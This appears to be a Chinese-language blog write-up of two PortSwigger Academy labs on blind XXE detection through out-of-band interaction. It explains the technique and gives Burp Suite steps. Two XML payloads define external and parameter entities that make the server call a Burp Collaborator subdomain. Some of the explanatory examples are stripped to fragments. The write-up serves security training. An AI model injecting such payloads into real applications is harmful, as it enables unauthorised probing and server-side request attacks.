Lab: Blind XXE with out-of-band interaction | Lab: Blind XXE with out-of-band interaction via XML parameter entities

什么是盲XXE?

当应用程序容易受到XXE 注入但不返回其响应中任何定义的外部实体的值时,就会出现盲 XXE 漏洞。这意味着直接检索服务器端文件是不可能的,因此盲 XXE 通常比常规 XXE 漏洞更难被利用。

有两种广泛的方法可以找到和利用盲 XXE 漏洞:

您可以触发带外网络交互,有时会在交互数据中泄露敏感数据。
您可以通过错误消息包含敏感数据的方式触发 XML 解析错误。

使用带外 ( OAST ) 技术检测盲 XXE

您通常可以使用与XXE SSRF 攻击相同的技术检测盲 XXE,但会触发与您控制的系统的带外网络交互。例如,您可以按如下方式定义外部实体:

]>

然后,您将在 XML 内的数据值中使用定义的实体。

此 XXE 攻击会导致服务器向指定的 URL 发出后端 HTTP 请求。攻击者可以监控由此产生的 DNS 查找和 HTTP 请求,从而检测到 XXE 攻击是否成功。

有时,由于应用程序的某些输入验证或正在使用的 XML 解析器的某些强化,使用常规实体的 XXE 攻击会被阻止。在这种情况下,您或许可以改用 XML 参数实体。XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他地方引用。就目前而言,您只需要知道两件事。首先,XML 参数实体的声明包括实体名称前的百分比字符:

其次,使用百分比字符而不是通常的与号来引用参数实体:

%myparameterentity;

这意味着您可以通过 XML 参数实体使用带外检测来测试盲 XXE,如下所示:

%xxe; ]>

这个 XXE 负载声明了一个被调用的 XML 参数实体xxe,然后在 DTD 中使用该实体。这将导致对攻击者的域进行 DNS 查找和 HTTP 请求,从而验证攻击是否成功。

靶场1

该实验室具有“检查股票”功能,可解析 XML 输入但不显示结果。

您可以通过触发与外部域的带外交互来检测盲 XXE漏洞。

为了解决实验室问题,使用外部实体使 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

解决方案

  • 访问产品页面,单击“检查库存”并拦截Burp Suite Professional 中生成的 POST 请求。
  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端。
  • 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
  • <!DOCTYPE stockCheck [ <!ENTITY xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> ]>
  • 将productId数字替换为对外部实体的引用:&xxe;
  • 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。
    image

靶场2

该实验室具有“检查库存”功能,可解析 XML 输入,但不显示任何意外值,并阻止包含常规外部实体的请求。

为了解决实验室问题,使用参数实体让 XML 解析器向 Burp Collaborator 发出 DNS 查找和 HTTP 请求。

笔记
为了防止 Academy 平台被用来攻击第三方,我们的防火墙会阻止实验室与任意外部系统之间的交互。要解决实验室,您必须使用 Burp Collaborator 的默认公共服务器 ( burpcollaborator.net)。

解决方案

  • 访问产品页面,单击“检查库存”并拦截Burp Suite Professional 中生成的 POST 请求。
  • 转到 Burp 菜单,然后启动Burp Collaborator 客户端。
  • 单击“复制到剪贴板”将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
  • 在 XML 声明和stockCheck元素之间插入以下外部实体定义,但在指示的地方插入 Burp Collaborator 子域:
  • <!DOCTYPE stockCheck [<!ENTITY % xxe SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %xxe; ]>
  • 返回 Burp Collaborator 客户端窗口,然后单击“Poll now”。如果您没有看到列出的任何交互,请等待几秒钟,然后重试。您应该会看到一些由应用程序启动的 DNS 和 HTTP 交互,这些交互是您的负载的结果。
posted @ 2021-08-26 15:53  Zeker62  阅读(149)  评论(0编辑  收藏  举报